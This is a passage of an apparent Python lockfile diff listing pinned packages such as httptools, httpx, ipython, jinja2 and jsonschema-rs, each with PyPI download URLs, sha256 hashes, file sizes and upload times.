"sha256:0770728beb05094c809b98e814edff5fef69d26ad7d21185f2f6d5884a0ba683", size = 471312, upload-time = "2026-05-25T22:17:22.085Z" }, + { url = "https://files.pythonhosted.org/packages/1a/12/fa3fbf5f9517b273edea2dc982aa82a8c634091e67c590792b729017bc6f/httptools-0.8.0-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:de242a49b5d18e0a8776e654e9f6bf6d89f3875a5c35b425a0e7ce940feb3fd6", size = 206183, upload-time = "2026-05-25T22:17:24.004Z" }, + { url = "https://files.pythonhosted.org/packages/30/fc/5e7c4cb443370f2090a3aba0453a07384d29ff66b7435bb90e77e1037599/httptools-0.8.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:159e9ab5f701ccd42e555a12f1ad8ff69702910fc1c996cf2bb66e5fcb7a231b", size = 112079, upload-time = "2026-05-25T22:17:25.216Z" }, + { url = "https://files.pythonhosted.org/packages/ba/53/771bd891eb0f236f32145d6a1775777ec85745f3cc983a1f23d1a3b8ddfe/httptools-0.8.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:c4a9f1707e4823d54dfec6c33fa3697d302aed536ed352a7ebb5a061ddb869d0", size = 481596, upload-time = "2026-05-25T22:17:26.186Z" }, + { url = "https://files.pythonhosted.org/packages/62/42/94e15bc68ce3d423243c45d7f1b0c7561f13844f97dc52ae23182fb65628/httptools-0.8.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d76ad7b951387e3632c8716a9bb03ac5b45c5f16119aa409db0459520887944e", size = 480865, upload-time = "2026-05-25T22:17:27.542Z" }, + { url = "https://files.pythonhosted.org/packages/1c/7c/fe2980fc03723272e30f135b62360b075f513dfe7cc73aef36c7f04012bd/httptools-0.8.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a3b7387147361c3fd47a0bde763c5c91b5b4cd4dc9989b8ece84ff436c99843b", size = 463189, upload-time = "2026-05-25T22:17:28.546Z" }, + { url = "https://files.pythonhosted.org/packages/15/1b/47fc5fff68acd1bfa20b4734059c9a06cadb88119dcd5258b5b0d21d91c8/httptools-0.8.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f256d6ce930c52ca1cb2a960b7da03548c454e7d28b06059ad41bfe789036ce0", size = 466610, upload-time = "2026-05-25T22:17:29.816Z" }, + { url = "https://files.pythonhosted.org/packages/fd/c4/121648f68ce066d7bd762d6b6d97e620847642d38d54f3d90ff11d947629/httptools-0.8.0-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:de1ed58a974e75d56560acc7e7fed01a454994429456f65209789992e41f2568", size = 215023, upload-time = "2026-05-25T22:17:32.401Z" }, + { url = "https://files.pythonhosted.org/packages/b9/b0/312a062ae741ae3e8baa8c8bf20be81b2e67337b259ab4349bebc7b6142e/httptools-0.8.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e93c227b595c6926c1acee96891dd9da4be338cfbe82e5cd3bb9d8dd7dc4ac0b", size = 117405, upload-time = "2026-05-25T22:17:33.742Z" }, + { url = "https://files.pythonhosted.org/packages/fc/37/fccd705f795386bb05bf413012fecff2a33e5aa8c2f069096de3e9fd8702/httptools-0.8.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2a021c3a8e65cc125390d72f59b968afca3bdcaff25bd67965e0a055a14946ca", size = 558497, upload-time = "2026-05-25T22:17:34.732Z" }, + { url = "https://files.pythonhosted.org/packages/bd/39/f172e8003576de35f5ba77ff417cf0e34429d35dc014deef15afa337a72c/httptools-0.8.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48774d39cbb70e2b1f71f88852a3087ae1d3a1eb80482bb48c13067ab080c14f", size = 571585, upload-time = "2026-05-25T22:17:35.813Z" }, + { url = "https://files.pythonhosted.org/packages/3e/b9/f5564760af99f3dbbf3f9104dc00e5da27e96cf433c6bdcf77617f70bf3f/httptools-0.8.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:88eead8ec8680a9f146c655bc88445a325bd7921cfd8194c7337e9467282427d", size = 543297, upload-time = "2026-05-25T22:17:37.08Z" }, + { url = "https://files.pythonhosted.org/packages/99/67/8d9f2c313618e161b82f3873188e7196126da1d6e29688df40eb3997c77a/httptools-0.8.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2c032fa028f46871ec7e1fc59fc15e8023eab3e6bbe6ece786a1611719a5d081", size = 539535, upload-time = "2026-05-25T22:17:38.032Z" }, +] + +[[package]] +name = "httpx" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "certifi" }, + { name = "httpcore" }, + { name = "idna" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" }, +] + +[[package]] +name = "idna" +version = "3.15" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" }, +] + +[[package]] +name = "importlib-metadata" +version = "8.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "zipp", marker = "python_full_version >= '3.11' and python_full_version < '3.14'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f3/49/3b30cad09e7771a4982d9975a8cbf64f00d4a1ececb53297f1d9a7be1b10/importlib_metadata-8.7.1.tar.gz", hash = "sha256:49fef1ae6440c182052f407c8d34a68f72efc36db9ca90dc0113398f2fdde8bb", size = 57107, upload-time = "2025-12-21T10:00:19.278Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fa/5e/f8e9a1d23b9c20a551a8a02ea3637b4642e22c2626e3a13a9a29cdea99eb/importlib_metadata-8.7.1-py3-none-any.whl", hash = "sha256:5a1f80bf1daa489495071efbb095d75a634cf28a8bc299581244063b53176151", size = 27865, upload-time = "2025-12-21T10:00:18.329Z" }, +] + +[[package]] +name = "iniconfig" +version = "2.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" }, +] + +[[package]] +name = "ipykernel" +version = "7.1.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "appnope", marker = "sys_platform == 'darwin'" }, + { name = "comm" }, + { name = "debugpy" }, + { name = "ipython", version = "8.38.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "ipython", version = "9.9.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "jupyter-client" }, + { name = "jupyter-core" }, + { name = "matplotlib-inline" }, + { name = "nest-asyncio" }, + { name = "packaging" }, + { name = "psutil" }, + { name = "pyzmq" }, + { name = "tornado" }, + { name = "traitlets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b9/a4/4948be6eb88628505b83a1f2f40d90254cab66abf2043b3c40fa07dfce0f/ipykernel-7.1.0.tar.gz", hash = "sha256:58a3fc88533d5930c3546dc7eac66c6d288acde4f801e2001e65edc5dc9cf0db", size = 174579, upload-time = "2025-10-27T09:46:39.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a3/17/20c2552266728ceba271967b87919664ecc0e33efca29c3efc6baf88c5f9/ipykernel-7.1.0-py3-none-any.whl", hash = "sha256:763b5ec6c5b7776f6a8d7ce09b267693b4e5ce75cb50ae696aaefb3c85e1ea4c", size = 117968, upload-time = "2025-10-27T09:46:37.805Z" }, +] + +[[package]] +name = "ipython" +version = "8.38.0" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11'", +] +dependencies = [ + { name = "colorama", marker = "python_full_version < '3.11' and sys_platform == 'win32'" }, + { name = "decorator", marker = "python_full_version < '3.11'" }, + { name = "exceptiongroup", marker = "python_full_version < '3.11'" }, + { name = "jedi", marker = "python_full_version < '3.11'" }, + { name = "matplotlib-inline", marker = "python_full_version < '3.11'" }, + { name = "pexpect", marker = "python_full_version < '3.11' and sys_platform != 'emscripten' and sys_platform != 'win32'" }, + { name = "prompt-toolkit", marker = "python_full_version < '3.11'" }, + { name = "pygments", marker = "python_full_version < '3.11'" }, + { name = "stack-data", marker = "python_full_version < '3.11'" }, + { name = "traitlets", marker = "python_full_version < '3.11'" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e5/61/1810830e8b93c72dcd3c0f150c80a00c3deb229562d9423807ec92c3a539/ipython-8.38.0.tar.gz", hash = "sha256:9cfea8c903ce0867cc2f23199ed8545eb741f3a69420bfcf3743ad1cec856d39", size = 5513996, upload-time = "2026-01-05T10:59:06.901Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9f/df/db59624f4c71b39717c423409950ac3f2c8b2ce4b0aac843112c7fb3f721/ipython-8.38.0-py3-none-any.whl", hash = "sha256:750162629d800ac65bb3b543a14e7a74b0e88063eac9b92124d4b2aa3f6d8e86", size = 831813, upload-time = "2026-01-05T10:59:04.239Z" }, +] + +[[package]] +name = "ipython" +version = "9.9.0" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.15'", + "python_full_version == '3.14.*'", + "python_full_version >= '3.11' and python_full_version < '3.14'", +] +dependencies = [ + { name = "colorama", marker = "python_full_version >= '3.11' and sys_platform == 'win32'" }, + { name = "decorator", marker = "python_full_version >= '3.11'" }, + { name = "ipython-pygments-lexers", marker = "python_full_version >= '3.11'" }, + { name = "jedi", marker = "python_full_version >= '3.11'" }, + { name = "matplotlib-inline", marker = "python_full_version >= '3.11'" }, + { name = "pexpect", marker = "python_full_version >= '3.11' and sys_platform != 'emscripten' and sys_platform != 'win32'" }, + { name = "prompt-toolkit", marker = "python_full_version >= '3.11'" }, + { name = "pygments", marker = "python_full_version >= '3.11'" }, + { name = "stack-data", marker = "python_full_version >= '3.11'" }, + { name = "traitlets", marker = "python_full_version >= '3.11'" }, + { name = "typing-extensions", marker = "python_full_version == '3.11.*'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/46/dd/fb08d22ec0c27e73c8bc8f71810709870d51cadaf27b7ddd3f011236c100/ipython-9.9.0.tar.gz", hash = "sha256:48fbed1b2de5e2c7177eefa144aba7fcb82dac514f09b57e2ac9da34ddb54220", size = 4425043, upload-time = "2026-01-05T12:36:46.233Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/86/92/162cfaee4ccf370465c5af1ce36a9eacec1becb552f2033bb3584e6f640a/ipython-9.9.0-py3-none-any.whl", hash = "sha256:b457fe9165df2b84e8ec909a97abcf2ed88f565970efba16b1f7229c283d252b", size = 621431, upload-time = "2026-01-05T12:36:44.669Z" }, +] + +[[package]] +name = "ipython-pygments-lexers" +version = "1.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pygments", marker = "python_full_version >= '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ef/4c/5dd1d8af08107f88c7f741ead7a40854b8ac24ddf9ae850afbcf698aa552/ipython_pygments_lexers-1.1.1.tar.gz", hash = "sha256:09c0138009e56b6854f9535736f4171d855c8c08a563a0dcd8022f78355c7e81", size = 8393, upload-time = "2025-01-17T11:24:34.505Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d9/33/1f075bf72b0b747cb3288d011319aaf64083cf2efef8354174e3ed4540e2/ipython_pygments_lexers-1.1.1-py3-none-any.whl", hash = "sha256:a9462224a505ade19a605f71f8fa63c2048833ce50abc86768a0d81d876dc81c", size = 8074, upload-time = "2025-01-17T11:24:33.271Z" }, +] + +[[package]] +name = "ipywidgets" +version = "8.1.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "comm" }, + { name = "ipython", version = "8.38.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "ipython", version = "9.9.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "jupyterlab-widgets" }, + { name = "traitlets" }, + { name = "widgetsnbextension" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4c/ae/c5ce1edc1afe042eadb445e95b0671b03cee61895264357956e61c0d2ac0/ipywidgets-8.1.8.tar.gz", hash = "sha256:61f969306b95f85fba6b6986b7fe45d73124d1d9e3023a8068710d47a22ea668", size = 116739, upload-time = "2025-11-01T21:18:12.393Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/56/6d/0d9848617b9f753b87f214f1c682592f7ca42de085f564352f10f0843026/ipywidgets-8.1.8-py3-none-any.whl", hash = "sha256:ecaca67aed704a338f88f67b1181b58f821ab5dc89c1f0f5ef99db43c1c2921e", size = 139808, upload-time = "2025-11-01T21:18:10.956Z" }, +] + +[[package]] +name = "isoduration" +version = "20.11.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "arrow" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7c/1a/3c8edc664e06e6bd06cce40c6b22da5f1429aa4224d0c590f3be21c91ead/isoduration-20.11.0.tar.gz", hash = "sha256:ac2f9015137935279eac671f94f89eb00584f940f5dc49462a0c4ee692ba1bd9", size = 11649, upload-time = "2020-11-01T11:00:00.312Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7b/55/e5326141505c5d5e34c5e0935d2908a74e4561eca44108fbfb9c13d2911a/isoduration-20.11.0-py3-none-any.whl", hash = "sha256:b2904c2a4228c3d44f409c8ae8e2370eb21a26f7ac2ec5446df141dde3452042", size = 11321, upload-time = "2020-11-01T10:59:58.02Z" }, +] + +[[package]] +name = "jedi" +version = "0.19.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "parso" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/72/3a/79a912fbd4d8dd6fbb02bf69afd3bb72cf0c729bb3063c6f4498603db17a/jedi-0.19.2.tar.gz", hash = "sha256:4770dc3de41bde3966b02eb84fbcf557fb33cce26ad23da12c742fb50ecb11f0", size = 1231287, upload-time = "2024-11-11T01:41:42.873Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c0/5a/9cac0c82afec3d09ccd97c8b6502d48f165f9124db81b4bcb90b4af974ee/jedi-0.19.2-py2.py3-none-any.whl", hash = "sha256:a8ef22bde8490f57fe5c7681a3c83cb58874daf72b4784de3cce5b6ef6edb5b9", size = 1572278, upload-time = "2024-11-11T01:41:40.175Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "json5" +version = "0.13.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/77/e8/a3f261a66e4663f22700bc8a17c08cb83e91fbf086726e7a228398968981/json5-0.13.0.tar.gz", hash = "sha256:b1edf8d487721c0bf64d83c28e91280781f6e21f4a797d3261c7c828d4c165bf", size = 52441, upload-time = "2026-01-01T19:42:14.99Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/9e/038522f50ceb7e74f1f991bf1b699f24b0c2bbe7c390dd36ad69f4582258/json5-0.13.0-py3-none-any.whl", hash = "sha256:9a08e1dd65f6a4d4c6fa82d216cf2477349ec2346a38fd70cc11d2557499fbcc", size = 36163, upload-time = "2026-01-01T19:42:13.962Z" }, +] + +[[package]] +name = "jsonpatch" +version = "1.33" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpointer" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/78/18813351fe5d63acad16aec57f94ec2b70a09e53ca98145589e185423873/jsonpatch-1.33.tar.gz", hash = "sha256:9fcd4009c41e6d12348b4a0ff2563ba56a2923a7dfee731d004e212e1ee5030c", size = 21699, upload-time = "2023-06-26T12:07:29.144Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" }, +] + +[[package]] +name = "jsonpointer" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6a/0a/eebeb1fa92507ea94016a2a790b93c2ae41a7e18778f85471dc54475ed25/jsonpointer-3.0.0.tar.gz", hash = "sha256:2b2d729f2091522d61c3b31f82e11870f60b68f43fbc705cb76bf4b832af59ef", size = 9114, upload-time = "2024-06-10T19:24:42.462Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/92/5e77f98553e9e75130c78900d000368476aed74276eb8ae8796f65f00918/jsonpointer-3.0.0-py2.py3-none-any.whl", hash = "sha256:13e088adc14fca8b6aa8177c044e12701e6ad4b28ff10e65f2267a90109c9942", size = 7595, upload-time = "2024-06-10T19:24:40.698Z" }, +] + +[[package]] +name = "jsonschema" +version = "4.26.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs" }, + { name = "jsonschema-specifications" }, + { name = "referencing" }, + { name = "rpds-py" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/b3/fc/e067678238fa451312d4c62bf6e6cf5ec56375422aee02f9cb5f909b3047/jsonschema-4.26.0.tar.gz", hash = "sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326", size = 366583, upload-time = "2026-01-07T13:41:07.246Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/69/90/f63fb5873511e014207a475e2bb4e8b2e570d655b00ac19a9a0ca0a385ee/jsonschema-4.26.0-py3-none-any.whl", hash = "sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce", size = 90630, upload-time = "2026-01-07T13:41:05.306Z" }, +] + +[package.optional-dependencies] +format-nongpl = [ + { name = "fqdn" }, + { name = "idna" }, + { name = "isoduration" }, + { name = "jsonpointer" }, + { name = "rfc3339-validator" }, + { name = "rfc3986-validator" }, + { name = "rfc3987-syntax" }, + { name = "uri-template" }, + { name = "webcolors" }, +] + +[[package]] +name = "jsonschema-rs" +version = "0.29.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/b0/b4/33a9b25cad41d1e533c1ab7ff30eaec50628dd1bcb92171b99a2e944d61f/jsonschema_rs-0.29.1.tar.gz", hash = "sha256:a9f896a9e4517630374f175364705836c22f09d5bd5bbb06ec0611332b6702fd", size = 1406679, upload-time = "2025-02-08T21:25:12.639Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/2a/cc53cf158d9ea3629b0c818fdbce9ad2cd8f656f11cafd0e21124487887e/jsonschema_rs-0.29.1-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7d84c4e1483a103694150b5706d638606443c814662738f14d34ca16948349df", size = 3828955, upload-time = "2025-02-08T21:23:47.957Z" }, + { url = "https://files.pythonhosted.org/packages/83/81/6ff994c6bf223eab69109f367fe8c5551a84f9e17869b6d51682776916fa/jsonschema_rs-0.29.1-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:0e7b72365ae0875c0e99f951ad4cec00c6f5e57b25ed5b8495b8f2c810ad21a6", size = 1968807, upload-time = "2025-02-08T21:23:52.069Z" }, + { url = "https://files.pythonhosted.org/packages/e2/11/28243681ff1337bfe988d5b13acc11bd7f962a16eb5721f4fba86c8c7157/jsonschema_rs-0.29.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:7078d3cc635b9832ba282ec4de3af4cdaba4af74691e52aa3ea5f7d1baaa3b76", size = 2066165, upload-time = "2025-02-08T21:23:55.573Z" }, + { url = "https://files.pythonhosted.org/packages/b5/17/263f9dccc3d80b7b43ee564b414155a62f6685eb2e657a3d1ebb68f791af/jsonschema_rs-0.29.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:30ed43c64e0d732edf32a881f0c1db340c9484f3a28c41f7da96667a49eb0f34", size = 2067619, upload-time = "2025-02-08T21:23:58.528Z" }, + { url = "https://files.pythonhosted.org/packages/3c/a7/00f4fec03168c71206bf9da3ff9d943cb2b44ad95f44255c4ae2efcdd4a0/jsonschema_rs-0.29.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:24a14806090a5ebf1616a0047eb8049f70f3a830c460e71d5f4a78b300644ec9", size = 2085023, upload-time = "2025-02-08T21:24:00.133Z" }, + { url = "https://files.pythonhosted.org/packages/8f/d9/ae4b6de008b45827e534f90cd68f9f34702bae02f9050101e556683d3c55/jsonschema_rs-0.29.1-cp310-cp310-win32.whl", hash = "sha256:3d739419212e87219e0aa5b9b81eee726e755f606ac63f4795e37efeb9635ed9", size = 1704378, upload-time = "2025-02-08T21:24:02.611Z" }, + { url = "https://files.pythonhosted.org/packages/d1/ca/4b8df88f81f560d712144f1dd2526852fc2d183eb5ae044c524146666d68/jsonschema_rs-0.29.1-cp310-cp310-win_amd64.whl", hash = "sha256:a8fa9007e76cea86877165ebb13ed94648246a185d5eabaf9125e97636bc56e4", size = 1872145, upload-time = "2025-02-08T21:24:05.489Z" }, + { url = "https://files.pythonhosted.org/packages/ad/e2/9c3af8c7d56ff1b6bac88137f60bf02f2814c60d1f658ef06b2ddc2a21b1/jsonschema_rs-0.29.1-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:b4458f1a027ab0c64e91edcb23c48220d60a503e741030bcf260fbbe12979ad2", size = 3828925, upload-time = "2025-02-08T21:24:07.289Z" }, + { url = "https://files.pythonhosted.org/packages/3f/29/f9377e55f10ef173c4cf1c2c88bc30e4a1a4ea1c60659c524903cac85a07/jsonschema_rs-0.29.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:faf3d90b5473bf654fd6ffb490bd6fdd2e54f4034f652d1749bee963b3104ce3", size = 1968915, upload-time = "2025-02-08T21:24:09.123Z" }, + { url = "https://files.pythonhosted.org/packages/0f/ae/8c514ebab1d312a2422bece0a1ccca45b82a36131d4cb63e01b4469ac99a/jsonschema_rs-0.29.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:e96919483960737ea5cd8d36e0752c63b875459f31ae14b3a6e80df925b74947", size = 2066366, upload-time = "2025-02-08T21:24:10.469Z" }, + { url = "https://files.pythonhosted.org/packages/05/3e/04c6b25ae1b53c8c72eaf35cdda4f84558ca4df011d370b5906a6f56ba7f/jsonschema_rs-0.29.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2e70f1ff7281810327b354ecaeba6cdce7fe498483338207fe7edfae1b21c212", size = 2067599, upload-time = "2025-02-08T21:24:12.006Z" }, + { url = "https://files.pythonhosted.org/packages/1f/78/b9b8934e4db4f43f61e65c5f285432c2d07cb1935ad9df88d5080a4a311b/jsonschema_rs-0.29.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:07fef0706a5df7ba5f301a6920b28b0a4013ac06623aed96a6180e95c110b82a", size = 2084926, upload-time = "2025-02-08T21:24:14.544Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ae/676d67d2583cdd50b07b5a0989b501aebf003b12232d14f87fc7fb991f2c/jsonschema_rs-0.29.1-cp311-cp311-win32.whl", hash = "sha256:07524370bdce055d4f106b7fed1afdfc86facd7d004cbb71adeaff3e06861bf6", size = 1704339, upload-time = "2025-02-08T21:24:16.145Z" }, + { url = "https://files.pythonhosted.org/packages/4b/3e/4767dce237d8ea2ff5f684699ef1b9dae5017dc41adaa6f3dc3a85b84608/jsonschema_rs-0.29.1-cp311-cp311-win_amd64.whl", hash = "sha256:36fa23c85333baa8ce5bf0564fb19de3d95b7640c0cab9e3205ddc44a62fdbf0", size = 1872253, upload-time = "2025-02-08T21:24:18.43Z" }, + { url = "https://files.pythonhosted.org/packages/7b/4a/67ea15558ab85e67d1438b2e5da63b8e89b273c457106cbc87f8f4959a3d/jsonschema_rs-0.29.1-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:9fe7529faa6a84d23e31b1f45853631e4d4d991c85f3d50e6d1df857bb52b72d", size = 3825206, upload-time = "2025-02-08T21:24:19.985Z" }, + { url = "https://files.pythonhosted.org/packages/b9/2e/bc75ed65d11ba47200ade9795ebd88eb2e64c2852a36d9be640172563430/jsonschema_rs-0.29.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:b5d7e385298f250ed5ce4928fd59fabf2b238f8167f2c73b9414af8143dfd12e", size = 1966302, upload-time = "2025-02-08T21:24:21.673Z" }, + { url = "https://files.pythonhosted.org/packages/95/dd/4a90e96811f897de066c69d95bc0983138056b19cb169f2a99c736e21933/jsonschema_rs-0.29.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:64a29be0504731a2e3164f66f609b9999aa66a2df3179ecbfc8ead88e0524388", size = 2062846, upload-time = "2025-02-08T21:24:23.171Z" }, + { url = "https://files.pythonhosted.org/packages/21/91/61834396748a741021716751a786312b8a8319715e6c61421447a07c887c/jsonschema_rs-0.29.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7e91defda5dfa87306543ee9b34d97553d9422c134998c0b64855b381f8b531d", size = 2065564, upload-time = "2025-02-08T21:24:24.574Z" }, + { url = "https://files.pythonhosted.org/packages/f0/2c/920d92e88b9bdb6cb14867a55e5572e7b78bfc8554f9c625caa516aa13dd/jsonschema_rs-0.29.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:96f87680a6a1c16000c851d3578534ae3c154da894026c2a09a50f727bd623d4", size = 2083055, upload-time = "2025-02-08T21:24:26.834Z" }, + { url = "https://files.pythonhosted.org/packages/6d/0a/f4c1bea3193992fe4ff9ce330c6a594481caece06b1b67d30b15992bbf54/jsonschema_rs-0.29.1-cp312-cp312-win32.whl", hash = "sha256:bcfc0d52ecca6c1b2fbeede65c1ad1545de633045d42ad0c6699039f28b5fb71", size = 1701065, upload-time = "2025-02-08T21:24:28.282Z" }, + { url = "https://files.pythonhosted.org/packages/5e/89/3f89de071920208c0eb64b827a878d2e587f6a3431b58c02f63c3468b76e/jsonschema_rs-0.29.1-cp312-cp312-win_amd64.whl", hash = "sha256:a414c162d687ee19171e2d8aae821f396d2f84a966fd5c5c757bd47df0954452", size = 1871774, upload-time = "2025-02-08T21:24:30.824Z" }, + { url = "https://files.pythonhosted.org/packages/1b/9b/d642024e8b39753b789598363fd5998eb3053b52755a5df6a021d53741d5/jsonschema_rs-0.29.1-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:0afee5f31a940dec350a33549ec03f2d1eda2da3049a15cd951a266a57ef97ee", size = 3824864, upload-time = "2025-02-08T21:24:32.252Z" }, + { url = 